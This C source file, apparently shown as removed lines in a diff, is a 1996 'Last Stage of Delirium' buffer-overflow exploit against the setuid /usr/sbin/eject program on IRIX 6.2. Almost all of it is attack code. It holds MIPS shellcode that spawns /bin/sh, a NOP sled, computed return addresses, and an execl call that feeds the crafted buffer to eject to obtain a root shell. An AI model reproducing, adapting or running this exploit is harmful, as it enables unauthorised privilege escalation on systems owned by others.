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- /*## copyright LAST STAGE OF DELIRIUM dec 1996 poland *://lsd-pl.net/ #*/
- /*## /usr/sbin/eject #*/
-
- #define NOPNUM 1448
- #define ADRNUM 256
- #define PCHNUM 576
-
- char shellcode[]=
- "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
- "\x24\x02\x03\xf3" /* li $v0,1011 */
- "\x23\xff\x01\x14" /* addi $ra,$ra,276 */
- "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
- "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
- "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
- "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
- "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
- "\x03\xff\xff\xcc" /* syscall */
- "/bin/sh"
- ;
-
- char jump[]=
- "\x03\xa0\x10\x25" /* move $v0,$sp */
- "\x03\xe0\x00\x08" /* jr $ra */
- ;
-
- char nop[]="\x24\x0f\x12\x34";
-
- main(int argc,char **argv){
- char buffer[10000],adr[4],pch[4],*b;
- int i;
-
- printf("copyright LAST STAGE OF DELIRIUM dec 1996 poland //lsd-pl.net/\n");
- printf("/usr/sbin/eject for irix 6.2 IP:17,19,20,21,22\n\n");
-
- *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10768+804+400+4;
- *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10768+804+128+32412;
-
- b=buffer;
- for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
- for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
- for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
- *b++=0xff;
- for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
- *b=0;
-
- execl("/usr/sbin/eject","lsd",buffer,0);
- }
-
-